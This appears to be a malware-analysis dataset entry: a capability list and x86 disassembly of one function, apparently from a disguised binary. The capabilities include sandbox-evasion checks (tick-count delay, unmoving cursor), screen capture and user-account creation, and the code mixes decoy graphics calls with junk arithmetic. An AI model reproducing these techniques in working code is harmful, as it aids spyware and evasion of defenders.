Function at 0x41d7f0
Capabilities:
Add user account
Add user account to group
Capture screenshot
Check for time delay via gettickcount
Check for unmoving mouse cursor
Check os version
Create thread
Encode data using base64
Enumerate disk volumes
Get disk information
Get file size
Get hostname
Get system information on windows
Hide graphical window
Inspect section memory permissions
Query or enumerate registry value
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x43adeb
push eax
mov dword fs:[0], esp
sub esp, 0xe48
cmp dword [0x44e6b0], 0
push esi
mov esi, dword [0x44e1e4]
push edi
mov edi, dword [0x44e1dc]
je 0x41d841
movzx ecx, word [0x44e6a0]
movzx eax, si
add ecx, eax
mov eax, dword [0x44e0bc]
sub dword [0x44e6b4], ecx
mov dword [ebp - 0x10], eax
jmp 0x41d86a
movzx eax, word [0x44e674]
movzx ecx, byte [0x44e1e8]
imul ecx, eax
mov eax, dword [0x44e6b4]
movzx edx, al
movzx eax, word [0x44e6a0]
sub edx, ecx
sub edx, edi
add edx, eax
mov dword [ebp - 0x10], edx
mov ecx, dword [0x44e0c4]
mov eax, 0xae4c415d
imul esi
xorps xmm0, xmm0
movdqu xmmword [ebp - 0xbc], xmm0
mov eax, edi
add edx, esi
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
xor edx, edx
sub ecx, esi
mov esi, dword [0x44e0d0]
add dword [0x44b428], ecx
mov ecx, dword [0x44e664]
push dword [0x44e664]
lea ecx, [ecx + 0x63]
div ecx
movzx ecx, byte [0x44e504]
mov edi, eax
mov eax, dword [0x44b428]
imul edi, dword [ebp - 0x10]
movzx edx, al
movzx eax, word [0x44e6c4]
add edi, ecx
mov ecx, esi
sub edi, dword [0x44e6b4]
add edi, dword [0x44e6c0]
imul ecx, edi
mov dword [0x44e0d4], edi
sub edx, ecx
sub edx, eax
mov eax, dword [ebp - 0x10]
test esi, esi
mov dword [0x44e6c8], edx
mov dword [ebp - 0x10], 2
cmove eax, edi
xor edi, edi
mov dword [0x44e0bc], eax
mov eax, dword [0x44e660]
push eax
mov dword [ebp - 0x1c], edi
lea esi, [edi + 2]
mov dword [ebp - 0x24], edi
lea ecx, [eax + 1]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x28], ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [0x44e0c8]
mov dword [ebp - 0x4c], eax
mov eax, dword [0x44e0bc]
mov dword [ebp - 0x48], eax
mov dword [0x44e400], ecx
mov dword [ebp - 0x78], 0xf
mov dword [ebp - 0x7c], edi
mov byte [ebp - 0x8c], 0
test cl, cl
jne 0x41d954
xor eax, eax
jmp 0x41d961
push 0x44e400
call fcn.00425000
add esp, 4
push eax
push 0x44e400
lea ecx, [ebp - 0x8c]
call fcn.00422630
push 0x38
lea eax, [ebp - 0x130]
mov dword [ebp - 0x134], edi
push 0
push eax
call fcn.00423310
mov edx, dword [0x44e1e8]
add esp, 0xc
mov dword [ebp - 0x18], edi
cmp dword [0x44e1e0], edi
jle 0x41db9a
xor esi, esi
mov eax, dword [0x44e0d4]
lea ecx, [esi + edx*2]
add eax, 0xfffffff7
xorps xmm0, xmm0
add eax, ecx
cmp dword [ebp - 0x78], 0x10
push 0xc60
lea ecx, [ebp - 0xac]
mov dword [0x44e0d4], eax
push ecx
push dword [ebp - 0x7c]
lea eax, [ebp - 0x8c]
cmovae eax, dword [ebp - 0x8c]
push eax
push 0
movdqu xmmword [ebp - 0xac], xmm0
call dword [sym.imp.USER32.dll_DrawTextA]
mov edi, dword [0x44e1e8]
mov edx, dword [0x44e0d4]
mov dword [ebp - 0x10], eax
mov eax, dword [0x44e1ec]
sub eax, edi
mov dword [0x44e0b8], 0xa
lea ecx, [esi + edi*2]
mov esi, dword [ebp - 0x14]
add edx, ecx
mov ecx, dword [0x44e664]
add eax, edx
mov dword [0x44e0d4], edx
imul eax, dword [ebp - 0x1c]
lea edx, [ecx + edi*8]
add edx, edi
imul edx, dword [0x44e0bc]
mov dword [ebp - 0x1c], eax
imul edx, eax
mov eax, dword [ebp - 0xa0]
sub eax, dword [ebp - 0xa8]
cmp esi, eax
cmovle esi, eax
mov dword [ebp - 0x30], edx
mov eax, esi
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x24]
sub eax, dword [0x44e1ec]
add eax, 0x65
imul eax, esi
add eax, edi
mov edi, dword [ebp - 0x24]
add eax, edi
cmp ecx, eax
jne 0x41da8a
mov eax, dword [ebp - 0x10]
cmp eax, dword [0x44e0c4]
jne 0x41da8a
cmp edx, dword [0x44e0cc]
jne 0x41da8a
mov eax, dword [0x44e0d0]
mov dword [ebp - 0x20], eax
jmp 0x41da91
mov dword [ebp - 0x20], 0
push dword [ebp - 0x48]
push dword [0x44e660]
call dword [sym.imp.GDI32.dll_SetTextColor]
cmp dword [ebp - 0x20], 0
jne 0x41dae5
push 1
push dword [0x44e660]
call dword [sym.imp.GDI32.dll_SetBkMode]
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.COMDLG32.dll_ChooseFontA]
mov eax, dword [0x44e0bc]
mov edx, dword [0x44e1e8]
lea eax, [eax*2 - 4]
sub eax, dword [0x44e664]
sub eax, edx
mov dword [0x44e0bc], eax
jmp 0x41db81
push 0x860
lea edi, [edi + edi*2]
lea ecx, [ebp - 0xbc]
add edi, edi
cmp dword [ebp - 0x78], 0x10
lea eax, [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
cmovae eax, dword [ebp - 0x8c]
push eax
push dword [0x44e660]
mov dword [ebp - 0x24], edi
call dword [sym.imp.USER32.dll_DrawTextA]
mov eax, dword [0x44e1ec]
mov edi, dword [0x44e1e8]
add eax, 0xffffffe9
add eax, dword [0x44e0d4]
imul eax, esi
push edi
mov dword [ebp - 0x1c], eax
call dword [sym.imp.USER32.dll_GetMenuItemCount]
xor esi, esi
lea ecx, [ecx]
push esi
push edi
call dword [sym.imp.USER32.dll_GetMenuItemID]
test eax, eax
je 0x41db72
cmp eax, 0xffffffff
jne 0x41db5d
mov dword [0x44b428], 0
jmp 0x41db72
lea ecx, [ebp - 0x1c0]
push ecx
push eax
push 0x400
push esi
push edi
call dword [sym.imp.USER32.dll_ModifyMenuA]
inc esi
cmp esi, 2
jl 0x41db40
mov edx, dword [0x44e1e8]
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, dword [0x44e1e0]
jl 0x41d9a2
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [0x44e0b8]
imul eax, dword [ebp - 0x24], 0x16
imul ecx, edx
add ecx, 5
cmp ecx, eax
jge 0x41dbc1
mov eax, dword [0x44e664]
imul eax, dword [0x44e1dc]
neg eax
mov dword [0x44e0d4], eax
imul edx, dword [ebp - 0x10]
mov eax, dword [0x44e664]
push dword [ebp - 0x4c]
imul eax, esi
push dword [ebp - 0x28]
imul edx, edi
sub edx, eax
add edx, 2
mov dword [0x44e1ec], edx
call dword [sym.imp.GDI32.dll_SelectObject]
cmp dword [ebp - 0x78], 0x10
jb 0x41dbfb
push dword [ebp - 0x8c]
call fcn.004230b6
add esp, 4
mov eax, dword [0x44e3f8]
mov edx, dword [0x44e0b8]
add eax, edx
mov esi, dword [0x44e0c8]
mov ecx, dword [0x44e0cc]
cmp eax, dword [0x44e0bc]
jl 0x41dc25
mov eax, dword [0x44e0d4]
sub eax, ecx
jmp 0x41dc31
mov eax, esi
imul eax, edx
imul eax, dword [0x44e6c8]
cmp dword [0x44e0c4], 0
mov edi, dword [sym.imp.USER32.dll_GetDC]
mov dword [0x44e6c8], eax
je 0x41dd4f
test ecx, ecx
je 0x41dd4f
test esi, esi
jne 0x41dd4f
xorps xmm0, xmm0
mov dword [ebp - 0xc2], esi
movdqu xmmword [ebp - 0xe2], xmm0
push ecx
movdqu xmmword [ebp - 0xd2], xmm0
mov word [ebp - 0xbe], si
mov dword [ebp - 0xe4], 0x10028
mov dword [ebp - 0xe0], 0x25
mov word [ebp - 0xdc], 0x2000
call edi
push 0x7f00
push 0
mov esi, eax
mov dword [ebp - 0x9c], 0x20
mov dword [ebp - 0x98], method.ATL::CComObject_class_ATL::CAxFrameWindow_.1.virtual_40
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push 0
mov dword [ebp - 0x88], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 4
mov dword [ebp - 0x84], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
cmp dword [0x44e0c4], 0
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], str.GLSample
je 0x41dd2b
cmp dword [0x44e0cc], 0
je 0x41dd2b
lea eax, [ebp - 0x9c]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
lea eax, [ebp - 0xe4]
push eax
push dword [ebp + 8]
push dword [0x44e0b8]
call dword [sym.imp.GDI32.dll_SetPixelFormat]
test eax, eax
jne 0x41dd4f
push dword [ebp + 8]
push esi
call dword [sym.imp.OPENGL32.dll_wglMakeCurrent]
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push 0
push 0
push str.SOFTWAREMicrosoftMediaPlayer
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41ddc4
push 0x206
push eax
mov word [ebp - 0x64c], ax
lea eax, [ebp - 0x64a]
push eax
call fcn.00423310
add esp, 0xc
mov dword [ebp - 0x4c], 1
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x208
push eax
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push str.Installation_Directory
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x44e0c4], 0
je 0x41dec5
cmp dword [0x44e0c8], 0
jne 0x41dec5
push 0
push 0x4000000
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
jne 0x41dec5
mov edi, dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
mov esi, 2
lea esp, [esp]
push 0
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x84], 8
push eax
push 0x1c
lea eax, [ebp - 0x90]
mov dword [ebp - 0x90], esi
push eax
push 0x1c
push eax
push dword [0x44e0c8]
push 0xffffffffffffffff
call edi
test eax, eax
je 0x41de9c
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x41de6d
mov eax, dword [0x44e0bc]
push 0x22
add eax, esi
push eax
push dword [0x44e0c8]
push esi
push dword [0x44e1e8]
call dword [sym.imp.GDI32.dll_Ellipse]
mov eax, dword [ebp - 0x84]
cmp eax, 1
jne 0x41de86
push 0
push dword [0x44e0c4]
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, dword [ebp - 0x84]
cmp eax, 0xf
jne 0x41deb0
push 0xffffff
push 1
push 0
call dword [sym.imp.GDI32.dll_CreatePen]
jmp 0x41deb0
push 0
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_GetDC]
dec esi
jne 0x41de10
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [0x44e0cc]
mov dword [ebp - 0x10], esi
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [ebp - 0x28], eax
call edi
push esi
mov dword [ebp - 0x14], eax
call edi
mov esi, eax
push esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [ebp - 0x50]
sub ecx, dword [ebp - 0x58]
push ecx
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x5c]
push ecx
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [ebp - 0x50]
mov esi, eax
sub ecx, dword [ebp - 0x58]
push 0xcc0020
push 0
push 0
push dword [ebp - 0x20]
push ecx
push dword [0x44e0c8]
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0x58]
push 0xcc0020
push dword [0x44e0c8]
push ecx
push dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x54]
sub eax, ecx
push eax
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
push edi
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_PrintWindow]
push esi
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [ebp - 0x20]
mov esi, dword [sym.imp.USER32.dll_ReleaseDC]
push dword [ebp - 0x10]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x28]
call esi
lea eax, [ebp - 0x138]
push eax
push dword [0x44e0cc]
call dword [sym.imp.USER32.dll_BeginPaint]
mov esi, eax
push 0
mov dword [ebp - 0x14], esi
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
push esi
call dword [sym.imp.GDI32.dll_SetDCPenColor]
push esi
call dword [sym.imp.GDI32.dll_BeginPath]
push 0
push 0xbb
push 0x64
push esi
call dword [sym.imp.GDI32.dll_MoveToEx]
sub esp, 8
mov dword [esp + 4], 0x43960000
mov dword [esp], 0x41f00000
push 0x32
push 0x64
push 0x64
push esi
call dword [sym.imp.GDI32.dll_AngleArc]
push 0x64
push 0x64
push esi
call dword [sym.imp.GDI32.dll_LineTo]
mov edi, dword [sym.imp.GDI32.dll_EndPath]
push esi
call edi
push esi
mov esi, dword [sym.imp.GDI32.dll_StrokePath]
call esi
push dword [ebp - 0x14]
call dword [sym.imp.GDI32.dll_BeginPath]
mov eax, dword [0x44e1e8]
sub esp, 8
add eax, 0x1d
mov dword [esp + 4], 0x43960000
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [esp], xmm0
push 0x32
push 0x64
push 0xd2
push dword [ebp - 0x14]
call dword [sym.imp.GDI32.dll_AngleArc]
push dword [ebp - 0x14]
call dword [sym.imp.GDI32.dll_CloseFigure]
push dword [ebp - 0x14]
call edi
mov edi, dword [ebp - 0x14]
push edi
call esi
push dword [ebp + 8]
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
lea eax, [ebp - 0x138]
push eax
push dword [0x44e0cc]
call dword [sym.imp.USER32.dll_EndPaint]
push dword [0x44e0c8]
push 0x2c
push dword [ebp + 8]
push dword [0x44e0cc]
call dword [sym.imp.USER32.dll_DefWindowProcW]
mov eax, dword [0x44e0cc]
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
push 0x64
push 0x64
push 0
push 0
mov dword [ebp - 0x28], eax
call esi
push 0x96
push 0x96
push 0x32
push 0x32
mov dword [ebp - 0x24], eax
call esi
push 0
push 0
push 0
mov dword [ebp - 0x1c], eax
push 0
call esi
push 0
push 0
push 0
push 0
mov edi, eax
call esi
mov esi, dword [sym.imp.GDI32.dll_CombineRgn]
push 1
push dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x24]
push edi
call esi
push 4
push dword [ebp - 0x1c]
push dword [ebp - 0x24]
push dword [ebp - 0x14]
call esi
push 0xff
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov esi, eax
push 0xff0000
mov dword [ebp - 0x4c], esi
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
cmp dword [0x44e0c8], 0
mov dword [ebp - 0x10], eax
jne 0x41e150
cmp dword [0x44e0c4], 0
je 0x41e174
cmp dword [0x44e0cc], 0
je 0x41e174
push 0x44
push str.Message
push str.Are_you_sure_you_want_to_quit_
push dword [ebp - 0x28]
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
je 0x41e171
push esi
mov esi, dword [sym.imp.GDI32.dll_FillRgn]
push edi
push dword [0x44e0bc]
call esi
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [0x44e0b8]
call esi
mov esi, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
push dword [ebp - 0x14]
call esi
push edi
call esi
push dword [ebp - 0x1c]
call esi
push dword [ebp - 0x24]
call esi
mov ecx, dword [0x44e1e8]
xor edi, edi
mov eax, dword [0x44e1e0]
cdq
push 0xff
lea ecx, [ecx + 0x5d]
mov byte [ebp - 0x444], 0
idiv ecx
mov ecx, dword [0x44e0d4]
imul eax, dword [0x44e6cc]
push edi
imul eax, dword [0x44e6c8]
sub ecx, eax
lea eax, [ebp - 0x443]
add ecx, dword [0x44e0bc]
add ecx, dword [0x44e1e4]
add ecx, dword [0x44e6b0]
add dword [0x44e6b4], ecx
push eax
call fcn.00423310
xor eax, eax
mov dword [ebp - 0xa0], edi
push 0x206
push eax
xorps xmm0, xmm0
mov word [ebp - 0x854], ax
lea eax, [ebp - 0x852]
movq qword [ebp - 0xa8], xmm0
push eax
movdqu xmmword [ebp - 0xf8], xmm0
movdqu xmmword [ebp - 0x6c], xmm0
call fcn.00423310
mov ecx, dword [0x44e0c4]
add esp, 0x18
mov eax, dword [0x44e1e4]
add ecx, 0x60
cdq
idiv ecx
movzx ecx, word [0x44e504]
mov edx, 0x44e1f0
imul eax, dword [0x44e400]
push edi
push edi
mov dword [ebp - 0x3c], edi
sub eax, ecx
movzx ecx, dx
sub eax, ecx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x18], eax
call fcn.00421c40
mov dword [ebp - 0x40], eax
mov esi, dword [eax]
lea eax, [ebp - 0x28]
movzx ecx, word [0x44e1e8]
push eax
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x40]
push dword [esi + 4]
mov dword [ebp - 4], edi
push esi
call fcn.0041c7b0
mov dword [esi + 4], eax
mov dword [ebp - 0x3c], 1
mov ecx, dword [eax + 4]
mov dword [ecx], eax
movzx eax, word [0x44e3f8]
mov esi, dword [ebp - 0x40]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [esi + 4]
push esi
call fcn.0041c7b0
mov dword [esi + 4], eax
mov dword [ebp - 0x3c], 2
mov ecx, dword [eax + 4]
mov dword [ecx], eax
mov eax, 0x44e400
mov edx, dword [0x44e1ec]
movzx eax, ax
sub dword [0x44e0b8], eax
mov eax, dword [0x44e0c4]
movzx ecx, dx
imul ecx, dword [0x44e1e0]
movzx eax, al
add ecx, eax
mov eax, dword [0x44e0c4]
sub dword [ebp - 0x18], ecx
add eax, edx
mov edx, dword [0x44e0c8]
neg eax
movzx ecx, word [0x44e674]
mov dword [ebp - 0x20], eax
movzx eax, word [0x44e1dc]
add eax, edx
add ecx, eax
cmp ecx, dword [ebp - 0x18]
mov ecx, dword [0x44b428]
ja 0x41e329
mov eax, dword [0x44e0c4]
add eax, ecx
mov dword [ebp - 0x18], eax
mov esi, dword [ebp - 0x40]
sub edx, dword [0x44e1e0]
movzx eax, cx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [esi + 4]
mov dword [ebp - 0x10], edx
push esi
call fcn.0041c7b0
mov dword [esi + 4], eax
mov dword [ebp - 0x3c], 2
mov ecx, dword [eax + 4]
mov dword [ecx], eax
mov edx, dword [esi + 4]
push edx
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx]
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
call fcn.004230b6
mov ecx, dword [ebp - 0x18]
add esp, 4
mov esi, ecx
test cx, cx
je 0x41e3ab
mov eax, 0xb21642c9
imul dword [0x44e0cc]
mov eax, dword [0x44e3f8]
add edx, dword [0x44e0cc]
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
sub eax, esi
add dword [0x44e0bc], eax
jmp 0x41e3b5
mov edi, dword [0x44e0cc]
add edi, ecx
neg edi
push str.LTZEXYEvent
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [ebp - 0x48], eax
mov eax, dword [0x44e664]
add eax, 0x29
je 0x41e45c
jmp 0x41e3e0
mov edx, dword [0x44e0bc]
dec eax
mov dword [ebp - 0x28], eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x41e3fe
mov eax, dword [ebp - 0x10]
add dword [0x44e0b8], eax
jmp 0x41e424
mov ecx, dword [0x44e1dc]
lea eax, [ebp - 0x444]
imul ecx, eax
movzx eax, si
mov esi, 0x44e1f0
sub ecx, eax
movzx eax, si
mov esi, dword [ebp - 0x18]
sub ecx, eax
sub ecx, edx
add dword [ebp - 0x10], ecx
push 6
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 0xfffffffa
sub ecx, eax
add ecx, ecx
push ecx
push 5
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 0xfffffffa
sub ecx, eax
lea eax, [ebp - 0xbc]
add ecx, ecx
push ecx
push eax
call dword [sym.imp.USER32.dll_InflateRect]
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x41e3e0
push 0
push dword [0x44e0bc]
push 0
push dword [0x44b428]
push 0x10
call dword [sym.imp.COMCTL32.dll_ImageList_Create]
lea eax, [ebp - 0x38]
mov dword [ebp - 0x30], 0xa
push eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [0x44e0c4]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push 8
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, dword [0x44e1e8]
mov eax, dword [ebp - 0x68]
cdq
lea ecx, [esi + 0x33]
idiv ecx
movzx ecx, si
sub ecx, eax
mov eax, dword [ebp - 0x18]
add ecx, dword [0x44e674]
movzx eax, al
imul eax, dword [ebp - 0xec]
cmp eax, ecx
jl 0x41e4ff
mov eax, dword [ebp - 0x6c]
movzx eax, al
add eax, dword [ebp - 0x60]
add dword [0x44e1dc], eax
mov eax, 0x4ec4ec4f
imul dword [ebp - 0xa4]
movzx eax, byte [ebp - 0xf0]
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, eax
mov eax, dword [0x44e0d4]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0xf8]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], ecx
mov eax, 0x44e1f0
mov dword [0x44e3f8], 0
test eax, eax
je 0x41e555
movzx eax, byte [0x44e0d0]
add eax, dword [ebp - 0x6c]
mov dword [0x44b428], eax
jmp 0x41e5a6
movzx eax, byte [0x44e1ec]
imul eax, ecx
mov ecx, dword [0x44e664]
add ecx, 0x5d
cdq
idiv ecx
mov ecx, dword [0x44e0cc]
imul eax, dword [0x44e0c4]
add ecx, 0x3b
cdq
idiv ecx
mov esi, eax
mov eax, 0xea0ea0eb
imul dword [0x44e674]
add edx, dword [0x44e674]
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, esi
add ecx, dword [0x44e1e8]
add dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x24]
mov esi, dword [0x44e1e0]
movzx eax, al
sub esi, eax
lea eax, [ebp - 0x74]
sub esi, edi
add esi, dword [0x44e0bc]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov edx, dword [0x44e1e4]
mov ecx, dword [ebp - 0x18]
cmp ecx, edx
jb 0x41e5d9
add edi, dword [0x44e1ec]
movzx eax, word [0x44e0bc]
add eax, edi
cmp eax, edx
ja 0x41e600
mov eax, dword [0x44b428]
mov edx, dword [0x44e0d4]
inc eax
movzx ecx, cl
add ecx, edi
add eax, ecx
mov dword [0x44b428], eax
jmp 0x41e62a
mov eax, dword [0x44e0cc]
mov ecx, edi
imul eax, dword [0x44e1ec]
sub ecx, eax
mov eax, dword [ebp - 0x20]
movzx eax, ax
sub ecx, eax
sub ecx, esi
sub ecx, edx
mov edx, dword [0x44e0d4]
add edx, ecx
mov dword [0x44e0d4], edx
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x74]
jne 0x41e684
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x70]
jne 0x41e684
lea eax, [ebp - 0xbc]
push eax
call dword [sym.imp.RPCRT4.dll_UuidCreate]
test eax, eax
jne 0x41e65f
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xbc]
push eax
call dword [sym.imp.RPCRT4.dll_UuidToStringW]
cmp dword [0x44e0b8], 0
mov ecx, dword [0x44e0d4]
mov edx, dword [ebp - 0x14]
jne 0x41e704
mov eax, dword [0x44e1e0]
mov dword [0x44e0b8], eax
jmp 0x41e704
push str.Device_not_created._Choose_settings_and_click_Create_Device_then_type_to_see_results
push edx
push dword [0x44e664]
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
mov eax, dword [ebp - 0x74]
mov edx, dword [0x44e0cc]
mov dword [ebp - 0x38], eax
test esi, esi
je 0x41e6b8
mov eax, edx
lea ecx, [ebp - 0x854]
sub eax, ecx
add eax, dword [0x44e674]
add esi, eax
movzx ecx, byte [0x44e0c8]
mov eax, dword [ebp - 0x70]
imul ecx, edx
mov dword [ebp - 0x34], eax
mov eax, 0x2aaaaaab
imul ecx
mov ecx, dword [0x44e0d4]
mov eax, 0xb21642c9
sar edx, 3
mov edi, edx
shr edi, 0x1f
add edi, edx
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
sub edi, eax
movzx eax, byte [0x44e0bc]
add edi, eax
inc edx
mov dword [ebp - 0x14], edx
test edx, edx
je 0x41e72e
cmp dword [0x44e664], 0
jne 0x41e71f
sub ecx, dword [0x44e3f8]
mov dword [0x44e0d4], ecx
jmp 0x41e72b
movzx eax, byte [0x44e1ec]
sub eax, edi
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x4c]
cmp eax, dword [0x44e674]
jg 0x41e741
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x18], eax
jmp 0x41e763
movzx eax, word [0x44e0c8]
mov ecx, dword [0x44e0d0]
imul eax, esi
imul eax, dword [0x44e400]
sub ecx, eax
sub ecx, dword [ebp - 0x20]
mov dword [0x44e0d4], ecx
cmp edx, 1
ja 0x41e7fc
mov edi, dword [ebp - 0xf4]
imul edi, dword [ebp - 0xa8]
cmp dword [ebp - 0x10], 4
ja 0x41e7fc
mov eax, 0x55555556
imul dword [0x44e0bc]
push 0xb96
push dword [ebp - 0x48]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, dword [0x44e2e2]
add eax, dword [0x44e1e4]
mov dword [0x44e0b8], eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov ecx, dword [0x44e3f8]
mov eax, 0x2e8ba2e9
imul dword [0x44e0c4]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x44b428]
sub ecx, eax
mov eax, dword [0x44e0d4]
sub ecx, dword [0x44e0b8]
add ecx, eax
mov dword [ebp - 0x24], eax
add edx, ecx
dec dword [ebp - 0x30]
mov dword [0x44b428], edx
je 0x41e7f7
mov ecx, dword [ebp - 0x1c]
jmp 0x41e531
mov ecx, dword [ebp - 0x24]
jmp 0x41e802
mov edx, dword [0x44b428]
test ecx, ecx
mov ecx, dword [0x44e0c4]
jne 0x41e817
movzx eax, si
imul eax, ecx
mov dword [0x44e1dc], eax
cmp dword [0x44e1e8], 0
je 0x41e82b
push 7
push ecx
call dword [sym.imp.GDI32.dll_SetMapMode]
jmp 0x41e83c
push 0
push edx
push dword [0x44e0bc]
push 0
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
lea ecx, [ebp - 0x40]
call fcn.0041cce0
mov ecx, dword [0x44e0c4]
xorps xmm0, xmm0
mov esi, dword [0x44e1e8]
xor edi, edi
mov dword [ebp - 0x30], 0
movdqu xmmword [ebp - 0xac], xmm0
lea eax, [ecx + 0x40]
mov dword [ebp - 0xb0], 0
movq qword [ebp - 0xb8], xmm0
mov dword [ebp - 0x10], 0
test eax, eax
jle 0x41e8d2
push 0xcc0020
push 0
push 0
push ecx
push dword [0x44b428]
push dword [0x44e0bc]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [ebp - 0xac]
inc edi
imul eax, dword [0x44e1dc]
mov esi, dword [0x44e1e8]
mov ecx, dword [ebp - 0x10]
inc ecx
imul eax, esi
add ecx, eax
mov dword [ebp - 0x10], ecx
mov ecx, dword [0x44e0c4]
lea eax, [ecx + 0x40]
cmp edi, eax
jl 0x41e884
lea ecx, [ebp - 0x64c]
mov eax, 0x66666667
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
